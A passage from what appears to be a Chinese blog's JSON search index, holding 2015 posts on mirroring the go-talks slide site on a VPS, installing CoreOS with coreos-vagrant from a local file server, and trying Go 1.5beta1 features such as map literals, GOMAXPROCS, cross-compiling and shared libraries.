(Golang)”这个Dave Cheney在O\u0026rsquo;Reilly OSCON上分享的Go slide，但因为链接被qiang，无法直接观看。于是就想到能不能制作一个go-talks.appspot.com的镜像站点，让国内Go程序员也 能享受些福利呢？于是乎我就开始了镜像制作的探索过程。\n一、在本地搭建go-talks.appspot.com镜像\npresent格式类似于markup，是一种标记语言，只是present格式更多用来制作slide。\ngolang.org/x/tools/present提供了present文件格式的解析库，最初本以为需要从头开始写server，并利用 present库解析，写模板和javascript实现类似翻页等功能呢。但后来居然在gddo repo，也就是godoc.org的源码工程中找到了go-talks.appsport.com站点的源码: talksapp。\n不过talksapp是运行在google app engine上的应用，要将其直接运行在standalone server上是否可行呢？是否需要改造？这些都是未知数，不过有了源码自然是很好的。我们先来试试这个程序是否能在本地运行起来。\n首先下载gddo repo：\n$go get github.com/golang/gddo/\n$cd $GOPATH/src/github.com/golang/gddo/talksapp\ntalksapp的主页文档似乎有些out-dated，我并没有找到config.go.template。\n但按照文档要求，需要下载Go App Engine SDK，这个需要搭梯子。在https://cloud.google.com/appengine/downloads#Google_App_Engine_SDK_for_Go页面根据您的平台版本下载最新Go SDK版本。解压后，先放在那里不动。\n根据talksapp文档，第三步就应该是sh setup.sh。setup.sh中get两个repo均在qiang外，需要梯子才能下载。\nsetup.sh正确执行之后，我们用go_appengine下dev_appserver.py来运行talksapp：\n$dev_appserver.py ~/Test/GoToolsProjects/src/github.com/golang/gddo/talksapp\nINFO 2015-07-27 08:25:09,076 api_server.py:205] Starting API server at: http://localhost:51801\nINFO 2015-07-27 08:25:09,080 dispatcher.py:197] Starting module \u0026ldquo;default\u0026rdquo; running at: http://localhost:8080\nINFO 2015-07-27 08:25:09,083 admin_server.py:118] Starting admin server at: http://localhost:8000\n/Users/tony/Test/GoToolsProjects/src/appengine/google/appengine/tools/devappserver2/mtime_file_watcher.py:115: UserWarning: There are too many files in your application for changes in all of them to be monitored. You may have to restart the development server to see some changes to your files.\n\u0026lsquo;There are too many files in your application for \u0026rsquo;\nERROR 2015-07-27 08:25:11,941 http_runtime.py:380] bad runtime process port [\u0026rsquo;\u0026rsquo;]\n2015/07/27 08:25:11 secret.json needs to define ClientID and ClientSecret\n使用浏览器访问localhost:8080，得到的页面中也只是有些错误日志，日志与上面最后两行相同。从错误日志来看，似乎需要配置一下secret.json这个文件，至少ClientID和ClientSecret不能为空。\n我就随意配置两个值(这两个值似乎应该是github.com的账号和密码，用于OAuth2，如果随意配置无法成功，那建议配置上真实的账号和密码)，看看是否可以访问：\n{\n\u0026ldquo;ClientID\u0026rdquo;: \u0026ldquo;xx\u0026rdquo;,\n\u0026ldquo;ClientSecret\u0026rdquo;: \u0026ldquo;yy\u0026rdquo;\n}\n这回再执行talksapp就不再报错了。用浏览器访问localhost:8080, go-talks的页面顺利正常显示出来！看来在本地是可以运行的哦！\n我们再来测试一下访问github.com上的一个slide,地址如下：\nhttp://localhost:8080/github.com/gophercon/2015-talks/Dmitry_Vyukov_-_Go_Dynamic_Tools/tools.slide\n加载有些慢，有些时候提示：\ncanceled: Deadline exceeded (timeout)\n试了几次后，居然加载成功了！又试了几个slide，除了有些慢，都是成功的。看来talksapp是可以在standalone主机上运行的。\n二、在vps上部署go-talks镜像\n虽然在本机上可以正常浏览Golang大牛们的slide的了，但毕竟放在local上不是很方便，离开这台机器又无法访问了。广大内地go程序员们依旧 生活在“水深火热”中，在“分享经济”兴起的今天，我想也力所能及的做些贡献吧。于是想到了将这个镜像部署到我的blog vps上，这样大家就可以自由浏览golang slide了。\n我的vps放在了DigitalOcean上(Ubuntu 14.04 server amd64)，配置较低，平时仅仅作为blog托管主机。不过放一个go-talks镜像应该还是可以满足的，也可以更充分“压榨”一下DO的资源。\n于是乎，我就按照上面的步骤将talksapp安装在了vps上。考虑到talksapp作为一个守护进程，又安装了supervisor对其进行管理：\n/etc/supervisor/conf.d/go-talks.conf\n[program:go-talks]\nenvironment=GOROOT=/root/.bin/go142\nenvironment=GOPATH=/root/go-talks\ndirectory=/root/go-talks/src/github.com/golang/gddo/talksapp\ncommand=/root/go-talks/go_appengine/goapp serve\nautostart=true\nautorestart=true\nstartsecs=3\n这里没有使用dev_appserver.py，而是用了两位一个程序goapp，通过在talksapp目录下执行goapp serve来启动这个\u0026quot;GAE\u0026quot;服务。现在vps上启动了localhost:8080服务，但外面的人还是无法访问到这个服务。\n如果要对外发布这个服务，我需要一个域名，考虑到自己已有的blog域名，为了快速开通服务，我添加了一个二级域名：go-talks.tonybai.com，模仿go-talks.appspot.com。\n我们还需要调整一下apache2 server。原先的apache2 server只是为blog(wordpress)提供服务，现在我们需要将go-talks.tonybai.com映射到主机内部的8080端口服务 上，这就需要开启apache2的反向代理功能，对apache2也不是很熟悉，于是在网上找到了一段配置，补充到/etc/apache2 /apache2.conf中：\n\u0026lt;VirtualHost *:80\u0026gt;\nServerName go-talks.tonybai.com\nProxyPreserveHost On\nProxyRequests Off\nProxyPass / http://localhost:8080/\nProxyPassReverse / http://localhost:8080/\nInclude /etc/phpmyadmin/apache.conf\n重启apache2，出现下面错误：\nroot@tonybai:/etc/apache2# sudo service apache2 restart\n* Restarting web server apache2 [fail]\n* The apache2 configtest failed.\nOutput of config test was:\nAH00526: Syntax error on line 85 of /etc/apache2/apache2.conf:\nInvalid command \u0026lsquo;ProxyPreserveHost\u0026rsquo;, perhaps misspelled or defined by a module not included in the server configuration\nAction \u0026lsquo;configtest\u0026rsquo; failed.\nThe Apache error log may have more information.\n似乎是反向代理需要更多apache2 module才能运行，于是：\nsudo a2enmod proxy\nsudo a2enmod proxy_http\n再重启apache2，这回ok了。\n在DNS服务商内已经添加了go-talks.tonybai.com这个域名，但由于国内DNS生效时间较慢，为了测试服务是否ok，我修改了 hosts文件，手动将go-talks.tonybai.com指向vps的公网地址。接下来访问go-talks.tonybai.com这个地址， 镜像制作成功了！ 又测试了几个slide，均正确生成！速度稍慢，那是因为vps的一般延迟都在2600ms左右。\n我的VPS性能不高，大家访问时也许会感觉较慢，但有胜于无！\n最后再重申一下go-talks.tonybai.com的使用方法：\n如果某个分享链接为：go-talks.appspot.com/xxx/yy/zz/foo.slide，那么将该地址替换为:go- talks.tonybai.com/xxx/yy/zz/foo.slide即可。也就是将appspot换成tonybai，其他不变。\n该服务已经利用监控宝监控起来了，如果出现问题（比如网络或资源不足的问题），我会及时处理。但这里不保证100%可用哦！希望大家友好使用，不要拍砖！\n","permalink":"https://tonybai.com/2015/07/27/make-a-mirror-of-gotalks-appsport-app/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/tag/go\"\u003eGo语言\u003c/a\u003e号称面向工程：对工程目录组织、代码风格（gofmt）、文档（生成）都制定的相应的“\u003cstrong\u003e标准\u003c/strong\u003e”，并提供了相应的工具帮助开发者满足这些工程specs。\u003c/p\u003e\n\u003cp\u003egofmt用于格式化代码，形成统一代码风格。\u003cbr\u003e\ngodoc.org用于查看标准库或repo的doc。\u003cbr\u003e\ngo-talks.appspot.com则是用来查看go slide。\u003c/p\u003e","title":"制作go-talks.appspot.com应用镜像"},{"content":"CoreOS是一种专门为运行类docker容器而生的linux发行版。与其他通用linux发行版（ubuntu、debian、redhat)相 比，它具有体型最小，消耗最小，支持滚动更新等特点。除此之外CoreOS内置的分布式系统服务组件也给开发者和运维者组建分布式集群、部署分布式服务应 用带来了极大便利。\nCoreOS与知名容器Docker脚前脚后诞生，到目前为止已经较为成熟，国外主流云平台提供商如Amazon EC2、Google Compute Engine、Microsoft Azure、Digtial Ocean等均提供了CoreOS image，通过这些服务，你可以一键建立一个CoreOS实例，这似乎也是CoreOS官方推荐的主流install方式（最Easy）。\nCoreOS当然支持其他方式的安装，比如支持虚拟机安装(vagrant+virtualbox)、PXE(preboot execute environment)安装以及iso install to 物理disk方式。如果仅仅是做一些实验，虚拟机安装是最简单也是最安全的方式。不过由于CoreOS的官方下载站在大陆无法直接访问（大陆程序员们好悲 催啊），因此这一最简单的虚拟机安装CoreOS的过程也就不那么简单了。\n通过core-vagrant安装的直接结果是CoreOS被安装到一个VirtualBox虚拟机中，之后我们利用Vagrant命令来进行 CoreOS虚拟机的启停。CoreOS以及Vagrant都在持续演进，尤其是CoreOS目前在active dev中，版本号变化很快，这也是CoreOS滚动升级的必然结果。因此在安装操作演示前，我们有必要明确一下这个安装过程使用的软件版本：\n物理机OS:\nUbuntu 12.04 3.8.0-42-generic x86_64\nVirtualBox:\nOracle VM VirtualBox Manager 4.2.10\nVagrant:\nVagrant 1.7.3\nCoreOS:\nstable 717.3.0\ncoreos-vagrant source:\ncommit b9ed7e2182ff08b72419ab3e89f4a5652bc75082\n一、原理\n如果没有Wall，CoreOS的coreos-vagrant安装将非常简单：\n1、git clone https://github.com/coreos/coreos-vagrant\n2、编辑配置文件\n3、vagrant up\n4、vagrant ssh\n但是现在有了Wall，步骤3：vagrant up会报错：无法连接到http://stable.release.core-os.net/amd64-usr/717.3.0/xx这个url，导致安装失败。\n我大致分析了一下vagrant up的执行过程：\n1、设置配置默认值\n$num_instances = 1\n$instance_name_prefix = \u0026ldquo;core\u0026rdquo;\n$update_channel = \u0026ldquo;alpha\u0026rdquo;\n$image_version = \u0026ldquo;current\u0026rdquo;\n$enable_serial_logging = false\n$share_home = false\n$vm_gui = false\n$vm_memory = 1024\n$vm_cpus = 1\n$shared_folders = {}\n$forwarded_ports = {}\n2、判断是否存在config.rb这个配置，如果有，则加载。\n3、设置config.vm.url，并获取对应的json文件：\n{\n\u0026ldquo;name\u0026rdquo;: \u0026ldquo;coreos-stable\u0026rdquo;,\n\u0026ldquo;description\u0026rdquo;: \u0026ldquo;CoreOS stable\u0026rdquo;,\n\u0026ldquo;versions\u0026rdquo;: [{\n\u0026ldquo;version\u0026rdquo;: \u0026ldquo;717.3.0\u0026rdquo;,\n\u0026ldquo;providers\u0026rdquo;: [{\n\u0026ldquo;name\u0026rdquo;: \u0026ldquo;virtualbox\u0026rdquo;,\n\u0026ldquo;url\u0026rdquo;: \u0026ldquo;http://stable.release.core-os.net/amd64-usr/717.3.0/coreos_production_vagrant.box\u0026rdquo;,\n\u0026ldquo;checksum_type\u0026rdquo;: \u0026ldquo;sha256\u0026rdquo;,\n\u0026ldquo;checksum\u0026rdquo;: \u0026ldquo;99dcd74c7cae8b1d90f108f8819f92b17bfbd34f4f141325bd0400fe4def55b6\u0026rdquo;\n}]\n}]\n}\n4、根据config.vm.provider（是virtualbox还是vmvare等）来决定采用哪种虚拟机创建逻辑。\n这里我们看到，整个过程只需要从core-os.net下载两个文件：coreos_production_vagrant.box和coreos_production_vagrant.json。如果我们提前将这两个文件下载到本地，并放在一个临时的http server下，修改Vagrantfile和coreos_production_vagrant.json这两个文件，就应该可以通过coreos-vagrant安装了。\n二、coreos-vagrant安装single instance CoreOS\n好了，根据上述原理，我们首先要下载coreos_production_vagrant.box和coreos_production_vagrant.json这两个文件，根据我们的channel和版本选择，两个文件的下载地址分别为：\nhttp://stable.release.core-os.net/amd64-usr/717.3.0/coreos_production_vagrant.box\nhttp://stable.release.core-os.net/amd64-usr/717.3.0/coreos_production_vagrant.json\n接下来就是不管你用什么梯子，只要把这两个文件下载到本地，并放到一个目录下就好了。\n我们需要修改一下coreos_production_vagrant.json，将其中的url改为：\n\u0026ldquo;url\u0026rdquo;: \u0026ldquo;http://localhost:8080/coreos_production_vagrant.box\u0026rdquo;\n我们要将这两个文件放到一个local file server中，后续供core-vagrant访问。最简单的方法就是使用:\npython -m SimpleHTTPServer 8080\n当然使用Go实现一个简单的http file server也是非常简单的：\n//fileserver.go\npackage main\nimport \u0026ldquo;net/http\u0026rdquo;\nimport \u0026ldquo;log\u0026rdquo;\nfunc main() {\nlog.Fatal(http.ListenAndServe(\u0026quot;:8080\u0026quot;, http.FileServer(http.Dir(\u0026quot;./\u0026quot;))))\n}\n接下来我们就可以按照正常步骤，下载coreos-vagrant并up了：\n$git clone https://github.com/coreos/coreos-vagrant\n修改Vagrantfile：\n$ diff Vagrantfile Vagrantfile.bak\n14,15c14,15\n\u0026lt; $update_channel = \u0026ldquo;stable\u0026rdquo;\n\u0026lt; $image_version = \u0026ldquo;717.3.0\u0026rdquo;\n—\n\u0026gt; $update_channel = \u0026ldquo;alpha\u0026rdquo;\n\u0026gt; $image_version = \u0026ldquo;current\u0026rdquo;\n55c55\n\u0026lt; config.vm.box_url = \u0026ldquo;http://localhost:8080/coreos_production_vagrant.json\u0026rdquo;\n—\n\u0026gt; config.vm.box_url = \u0026ldquo;http://%s.release.core-os.net/amd64-usr/%s/coreos_production_vagrant.json\u0026rdquo; % [$update_channel, $image_version]\n将user-data.sample改名为user-data，并编辑user-data，在etcd2下面增加一行：\netcd2:\nname: core-01\n将units:下面对于etcd2的注释去掉，以enable etcd2服务。（将etcd服务注释掉）\n万事俱备，只需vagrant up。\n$ vagrant up\nBringing machine \u0026lsquo;core-01\u0026rsquo; up with \u0026lsquo;virtualbox\u0026rsquo; provider…\n==\u0026gt; core-01: Box \u0026lsquo;coreos-stable\u0026rsquo; could not be found. Attempting to find and install…\ncore-01: Box Provider: virtualbox\ncore-01: Box Version: 717.3.0\n==\u0026gt; core-01: Loading metadata for box \u0026lsquo;http://localhost:8080/coreos_production_vagrant.json\u0026rsquo;\ncore-01: URL: http://localhost:8080/coreos_production_vagrant.json\n==\u0026gt; core-01: Adding box \u0026lsquo;coreos-stable\u0026rsquo; (v717.3.0) for provider: virtualbox\ncore-01: Downloading: http://localhost:8080/coreos_production_vagrant.box\ncore-01: Calculating and comparing box checksum…\n==\u0026gt; core-01: Successfully added box \u0026lsquo;coreos-stable\u0026rsquo; (v717.3.0) for \u0026lsquo;virtualbox\u0026rsquo;!\n==\u0026gt; core-01: Importing base box \u0026lsquo;coreos-stable\u0026rsquo;…\n==\u0026gt; core-01: Matching MAC address for NAT networking…\n==\u0026gt; core-01: Checking if box \u0026lsquo;coreos-stable\u0026rsquo; is up to date…\n==\u0026gt; core-01: Setting the name of the VM: coreos-vagrant_core-01_1437121834188_89503\n==\u0026gt; core-01: Clearing any previously set network interfaces…\n==\u0026gt; core-01: Preparing network interfaces based on configuration…\ncore-01: Adapter 1: nat\ncore-01: Adapter 2: hostonly\n==\u0026gt; core-01: Forwarding ports…\ncore-01: 22 =\u0026gt; 2222 (adapter 1)\n==\u0026gt; core-01: Running \u0026lsquo;pre-boot\u0026rsquo; VM customizations…\n==\u0026gt; core-01: Booting VM…\n==\u0026gt; core-01: Waiting for machine to boot. This may take a few minutes…\ncore-01: SSH address: 127.0.0.1:2222\ncore-01: SSH username: core\ncore-01: SSH auth method: private key\ncore-01: Warning: Connection timeout. Retrying…\n==\u0026gt; core-01: Machine booted and ready!\n==\u0026gt; core-01: Setting hostname…\n==\u0026gt; core-01: Configuring and enabling network interfaces…\n==\u0026gt; core-01: Running provisioner: file…\n==\u0026gt; core-01: Running provisioner: shell…\ncore-01: Running: inline script\n登入你的coreos实例：\n$ vagrant ssh\nCoreOS stable (717.3.0)\ncore@core-01 ~ $\n在vagrant up时，你可能会遇到如下两个错误：\n错误1：\nProgress state: VBOX_E_FILE_ERROR\nVBoxManage: error: Could not open the medium storage unit \u0026lsquo;/home1/tonybai/.vagrant.d/boxes/coreos-stable/717.3.0/virtualbox/coreos_production_vagrant_image.vmdk\u0026rsquo;.\nVBoxManage: error: VMDK: inconsistent references to grain directory in \u0026lsquo;/home1/tonybai/.vagrant.d/boxes/coreos-stable/717.3.0/virtualbox/coreos_production_vagrant_image.vmdk\u0026rsquo; (VERR_VD_VMDK_INVALID_HEADER).\n这个问题的原因很可能是你的Virtualbox版本不对，比如版本太低，与coreos_production_vagrant.box格式不兼容**。可**尝试安装一下高版本virtualbox来解决。\n错误2：\ncore-01: SSH address: 127.0.0.1:2222\ncore-01: SSH username: core\ncore-01: SSH auth method: private key\ncore-01: Warning: Connection timeout. Retrying…\ncore-01: Warning: Connection timeout. Retrying…\ncore-01: Warning: Connection timeout. Retrying…\ncoreos虚拟机创建后，似乎一直无法连接上。在coreos的github issue中，有人遇到了这个问题，目前给出的原因是因为cpu的支持虚拟化技术的vt开关没有打开，需要在bios中将其开启。这主要在安装64bit box时才会发生。\n到这里，我们已经完成了一个single instance coreos虚拟机的安装。vagrant halt可以帮助你将启动的coreos虚拟机停下来。\n$ vagrant halt\n==\u0026gt; core-01: Attempting graceful shutdown of VM…\n三、 CoreOS cluster\n上面虽然成功的安装了coreos，然并卵。在实际应用中，CoreOS多以Cluster形式呈现，也就是说我们要启动多个CoreOS实例。\n使用vagrant启动多个coreos实例很简单，只需将配置中的$num_instances从1改为n。\n这里我们启用config.rb这个配置文件(将config.rb.sample改名为config.rb)，并将其中的$num_instances修改为3：\n# Size of the CoreOS cluster created by Vagrant\n$num_instances=3\n该配置文件中的数据会覆盖Vagrantfile中的默认配置。\n三个instance中的etcd2要想组成集群还需要一个配置修改，那就是在etcd.io上申请一个token：\n$curl https://discovery.etcd.io/new\nhttps://discovery.etcd.io/fe81755687323aae273dc5f111eb059a\n将这个token配置到user-data中的etcd2下：\netcd2:\n#generate a new token for each unique cluster from https://discovery.etcd.io/new\n#discovery: https://discovery.etcd.io/\ndiscovery: https://discovery.etcd.io/fe81755687323aae273dc5f111eb059a\n我们再来up看看：\n$ vagrant up\nBringing machine \u0026lsquo;core-01\u0026rsquo; up with \u0026lsquo;virtualbox\u0026rsquo; provider…\nBringing machine \u0026lsquo;core-02\u0026rsquo; up with \u0026lsquo;virtualbox\u0026rsquo; provider…\nBringing machine \u0026lsquo;core-03\u0026rsquo; up with \u0026lsquo;virtualbox\u0026rsquo; provider…\n==\u0026gt; core-01: Checking if box \u0026lsquo;coreos-stable\u0026rsquo; is up to date…\n==\u0026gt; core-01: VirtualBox VM is already running.\n==\u0026gt; core-02: Importing base box \u0026lsquo;coreos-stable\u0026rsquo;…\n==\u0026gt; core-02: Matching MAC address for NAT networking…\n==\u0026gt; core-02: Checking if box \u0026lsquo;coreos-stable\u0026rsquo; is up to date…\n==\u0026gt; core-02: Setting the name of the VM: coreos-vagrant_core-02_1437388468647_96550\n==\u0026gt; core-02: Fixed port collision for 22 =\u0026gt; 2222. Now on port 2200.\n==\u0026gt; core-02: Clearing any previously set network interfaces…\n==\u0026gt; core-02: Preparing network interfaces based on configuration…\ncore-02: Adapter 1: nat\ncore-02: Adapter 2: hostonly\n==\u0026gt; core-02: Forwarding ports…\ncore-02: 22 =\u0026gt; 2200 (adapter 1)\n==\u0026gt; core-02: Running \u0026lsquo;pre-boot\u0026rsquo; VM customizations…\n==\u0026gt; core-02: Booting VM…\n==\u0026gt; core-02: Waiting for machine to boot. This may take a few minutes…\ncore-02: SSH address: 127.0.0.1:2200\ncore-02: SSH username: core\ncore-02: SSH auth method: private key\ncore-02: Warning: Connection timeout. Retrying…\n==\u0026gt; core-02: Machine booted and ready!\n==\u0026gt; core-02: Setting hostname…\n==\u0026gt; core-02: Configuring and enabling network interfaces…\n==\u0026gt; core-02: Running provisioner: file…\n==\u0026gt; core-02: Running provisioner: shell…\ncore-02: Running: inline script\n==\u0026gt; core-03: Importing base box \u0026lsquo;coreos-stable\u0026rsquo;…\n==\u0026gt; core-03: Matching MAC address for NAT networking…\n==\u0026gt; core-03: Checking if box \u0026lsquo;coreos-stable\u0026rsquo; is up to date…\n==\u0026gt; core-03: Setting the name of the VM: coreos-vagrant_core-03_1437388512743_68112\n==\u0026gt; core-03: Fixed port collision for 22 =\u0026gt; 2222. Now on port 2201.\n==\u0026gt; core-03: Clearing any previously set network interfaces…\n==\u0026gt; core-03: Preparing network interfaces based on configuration…\ncore-03: Adapter 1: nat\ncore-03: Adapter 2: hostonly\n==\u0026gt; core-03: Forwarding ports…\ncore-03: 22 =\u0026gt; 2201 (adapter 1)\n==\u0026gt; core-03: Running \u0026lsquo;pre-boot\u0026rsquo; VM customizations…\n==\u0026gt; core-03: Booting VM…\n==\u0026gt; core-03: Waiting for machine to boot. This may take a few minutes…\ncore-03: SSH address: 127.0.0.1:2201\ncore-03: SSH username: core\ncore-03: SSH auth method: private key\ncore-03: Warning: Connection timeout. Retrying…\n==\u0026gt; core-03: Machine booted and ready!\n==\u0026gt; core-03: Setting hostname…\n==\u0026gt; core-03: Configuring and enabling network interfaces…\n==\u0026gt; core-03: Running provisioner: file…\n==\u0026gt; core-03: Running provisioner: shell…\ncore-03: Running: inline script\n$vagrant ssh core-02\nCoreOS stable (717.3.0)\ncore@core-02 ~ $\n可以看到Vagrant启动了三个coreos instance。关闭这些instance，同样用halt：\n$ vagrant halt\n==\u0026gt; core-03: Attempting graceful shutdown of VM…\n==\u0026gt; core-02: Attempting graceful shutdown of VM…\n==\u0026gt; core-01: Attempting graceful shutdown of VM…\n四、小结\n以上仅仅是CoreOS最基本的入门，虽然现在安装ok了，但CoreOS的各种服务组件的功用、配置；如何与Docker配合形成分布式服务系统；如何用Google Kubernetes管理容器集群等还需更进一步深入学习，这个后续会慢慢道来。\n","permalink":"https://tonybai.com/2015/07/20/install-coreos-by-coreos-vagrant/","summary":"\u003cp\u003e\u003ca href=\"http://coreos.com/\"\u003eCoreOS\u003c/a\u003e是一种专门为运行类\u003ca href=\"http://tonybai.com/tag/docker\"\u003edocker\u003c/a\u003e容器而生的linux发行版。与其他通用linux发行版（\u003ca href=\"http://tonybai.com/tag/ubuntu\"\u003eubuntu\u003c/a\u003e、\u003ca href=\"http://www.debian.org/\"\u003edebian\u003c/a\u003e、\u003ca href=\"http://www.redhat.com/\"\u003eredhat\u003c/a\u003e)相 比，它具有体型最小，消耗最小，支持滚动更新等特点。除此之外CoreOS内置的分布式系统服务组件也给开发者和运维者组建分布式集群、部署分布式服务应 用带来了极大便利。\u003c/p\u003e","title":"使用core-vagrant方式安装CoreOS"},{"content":"在GopherCon2015开幕之 际，Google Go Team终于放出了Go 1.5Beta1版本的安装包。在go 1.5Beta1的发布说明中，Go Team也诚恳地承认Go 1.5将打破之前6个月一个版本的发布周期，这是因为Go 1.5变动太大，需要更多时间来准备这次发布（fix bug, Write doc）。关于Go 1.5的变化，之前Go Team staff在各种golang技术会议的slide 中暴露不少，包括：\n- 编译器和运行时由C改为Go（及少量汇编语言）重写，实现了Go的self Bootstrap(自举）\n- Garbage Collector优化，大幅降低GC延迟（Stop The World），实现Gc在单独的goroutine中与其他user goroutine并行运行。\n- 标准库变更以及一些go tools的引入。\n每项变动都会让gopher激动不已。但之前也只是激动，这次beta1出来后，我们可以实际体会一下这些变动带来的“快感”了。Go 1.5beta1的发布文档目前还不全，有些地方还有“待补充”字样，可能与最终go 1.5发布时的版本有一定差异，不过大体内容应该是固定不变的了。这篇文章就想和大家一起浅显地体验一下go 1.5都给gophers们带来了哪些变化吧。\n一、语言\n【map literal】\ngo 1.5依旧兼容Go 1 language specification，但修正了之前的一个“小疏忽”。\nGo 1.4及之前版本中，我们只能这么来写代码：\n//testmapliteral.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n)\ntype Point struct {\nx int\ny int\n}\nfunc main() {\nvar sl = []Point{{3, 4}, {5, 6}}\nvar m = map[Point]string{\nPoint{3,4}:\u0026ldquo;foo1\u0026rdquo;,\nPoint{5,6}:\u0026ldquo;foo2\u0026rdquo;,\n}\nfmt.Println(sl)\nfmt.Println(m)\n}\n可以看到，对于Point这个struct来说，在初始化一个slice时，slice value literal中无需显式的带上元素类型Point，即\nvar sl = []Point{{3, 4}, {5, 6}}\n而不是\nvar sl = []Point{Point{3, 4}, Point{5, 6}}\n但当Point作为map类型的key类型时，初始化map时则要显式带上元素类型Point。Go team承认这是当初的一个疏忽，在本次Go 1.5中将该问题fix掉了。也就是说，下面的代码在Go 1.5中可以顺利编译通过：\nfunc main() {\nvar sl = []Point{{3, 4}, {5, 6}}\nvar m = map[Point]string{\n{3,4}:\u0026ldquo;foo1\u0026rdquo;,\n{5,6}:\u0026ldquo;foo2\u0026rdquo;,\n}\nfmt.Println(sl)\nfmt.Println(m)\n}\n【GOMAXPROCS】\n就像这次GopherCon2015上现任Google Go project Tech Lead的Russ Cox的开幕Keynote中所说的那样：Go目标定位于高度并发的云环境。Go 1.5中将标识并发系统线程个数的GOMAXPROCS的初始值由1改为了运行环境的CPU核数。\n// testgomaxprocs.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;runtime\u0026rdquo;\n)\nfunc main() {\nfmt.Println(runtime.GOMAXPROCS(-1))\nfmt.Println(runtime.NumGoroutine())\n}\n这个代码在Go 1.4下（Mac OS X 4核）运行结果是：\n$go run testgomaxprocs.go\n1\n4\n而在go 1.5beta1下，结果为：\n$go run testgomaxprocs.go\n4\n4\n二、编译\n【简化跨平台编译】\n1.5之前的版本要想实现跨平台编译，需要到$GOROOT/src下重新执行一遍make.bash，执行前设置好目标环境的环境变量(GOOS和 GOARCH)，Go 1.5大大简化这个过程，使得跨平台编译几乎与普通编译一样简单。下面是一个简单的例子：\n//testcrosscompile.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;runtime\u0026rdquo;\n)\nfunc main() {\nfmt.Println(runtime.GOOS)\n}\n在我的Mac上，本地编译执行：\n$go build -o testcrosscompile_darwin testcrosscompile.go\n$testcrosscompile_darwin\ndarwin\n跨平台编译linux amd64上的目标程序：\n$GOOS=linux GOARCH=amd64 go build -o testcrosscompile_linux testcrosscompile.go\n上传testcrosscompile_linux到ubuntu 14.04上执行：\n$testcrosscompile_linux\nlinux\n虽然从用户角度跨平台编译命令很简单，但事实是go替你做了很多事情，我们可以通过build -x -v选项来输出编译的详细过程，你会发现go会先进入到$GOROOT/src重新编译runtime.a以及一些平台相关的包。编译输出的信息 太多，这里就不贴出来了。但在1.5中这个过程非常快（10秒以内），与1.4之前版本的跨平台编译相比，完全不是一个级别，这也许就是编译器用Go重写完的好处之一吧。\n除了直接使用go build，我们还可以使用go tool compile和go tool link来编译程序，实际上go build也是调用这两个工具完成编译过程的。\n$go tool compile testcrosscompile.go\ntestcrosscompile.o\n$go tool link testcrosscompile.o\na.out\n$a.out\ndarwin\ngo 1.5移除了以前的6a,6l之类的编译连接工具，将这些工具整合到go tool中。并且go tool compile的输出默认改为.o文件，链接器输出默认改为了a.out。\n【动态共享库】\n个人不是很赞同Go语言增加对动态共享库的支持，.so和.dll这类十多年前的技术在如今内存、磁盘空间都“非常大”的前提下，似乎已经失去了以往的魅 力。并且动态共享库所带来的弊端：\u0026ldquo;DLL hell\u0026quot;会让程序后续的运维痛苦不已。Docker等轻量级容器的兴起，面向不变性的架构(immutable architecture)受到更多的关注。人们更多地会在container这一层进行操作，一个纯static link的应用在部署和维护方面将会有天然优势，.so只会增加复杂性。如果单纯从与c等其他语言互操作的角度，似乎用途也不会很广泛(但游戏或ui领域 可能会用到)。不过go 1.5还是增加了对动态链接库的支持，不过从go tool compile和link的doc说明来看，目前似乎还处于实验阶段。\n既然go 1.5已经支持了shared library，我们就来实验一下。我们先规划一下测试repository的目录结构：\n$GOPATH\n/src\n/testsharedlib\n/shlib\n– lib.go\n/app\n/main.go\nlib.go中的代码很简单：\n//lib.go\npackage shlib\nimport \u0026ldquo;fmt\u0026rdquo;\n// export Method1\nfunc Method1() {\nfmt.Println(\u0026ldquo;shlib -Method1\u0026rdquo;)\n}\n对于希望导出的方法，采用export标记。\n我们来将这个lib.go编译成shared lib，注意目前似乎只有linux平台支持编译go shared library：\n$ go build -buildmode=shared testsharedlib/shlib\n# /tmp/go-build709704006/libtestsharedlib-shlib.so\nwarning: unable to find runtime/cgo.a\n编译ok，那个warning是何含义不是很理解。\n要想.so被其他go程序使用，需要将.so安装到相关目录下。我们install一下试试：\n$ go install -buildmode=shared testsharedlib/shlib\nmultiple roots /home1/tonybai/test/go/go15/pkg/linux_amd64_dynlink \u0026amp; /home1/tonybai/.bin/go15beta1/go/pkg/linux_amd64_dynlink\ngo工具居然纠结了，不知道选择放在哪里，一个是$GOPATH/pkg/linux_amd64_dynlink，另外一个则是$GOROOT/pkg/linux_amd64_dynlink，我不清楚这是不是一个bug。\n在Google了之后，我尝试了网上的一个解决方法，先编译出runtime的动态共享库：\n$go install -buildmode=shared runtime sync/atomic\n编译安装后，你就会在$GOROOT/pkg下面看到多出来一个目录：linux_amd64_dynlink。这个目录下的结构如下：\n$ ls -R\n.:\nlibruntime,sync-atomic.so runtime runtime.a runtime.shlibname sync\n./runtime:\ncgo.a cgo.shlibname\n./sync:\natomic.a atomic.shlibname\n这里看到了之前warning提到的runtime/cgo.a，我们再来重新执行一下build，看看能不能消除warning:\n$ go build -buildmode=shared testsharedlib/shlib\n# /tmp/go-build086398801/libtestsharedlib-shlib.so\n/home1/tonybai/.bin/go15beta1/go/pkg/tool/linux_amd64/link: cannot implicitly include runtime/cgo in a shared library\n这回连warnning都没有了，直接是一个error。这里提示：无法在一个共享库中隐式包含runtime/cgo。也就是说我们在构建 testshared/shlib这个动态共享库时，还需要显式的link到runtime/cgo，这里就需要另外一个命令行标志：- linkshared。我们再来试试：\n$ go build -linkshared -buildmode=shared testsharedlib/shlib\n这回build成功！我们再来试试install：\n$ go install -linkshared -buildmode=shared testsharedlib/shlib\n同样成功了。并且我们在$GOPATH/pkg/linux_amd64_dynlink下发现了共享库：\n$ ls -R\n.:\nlibtestsharedlib-shlib.so testsharedlib\n./testsharedlib:\nshlib.a shlib.shlibname\n$ ldd libtestsharedlib-shlib.so\nlinux-vdso.so.1 =\u0026gt; (0x00007fff93983000)\nlibruntime,sync-atomic.so =\u0026gt; /home1/tonybai/.bin/go15beta1/go/pkg/linux_amd64_dynlink/libruntime,sync-atomic.so (0x00007fa150f1b000)\nlibc.so.6 =\u0026gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa150b3f000)\nlibpthread.so.0 =\u0026gt; 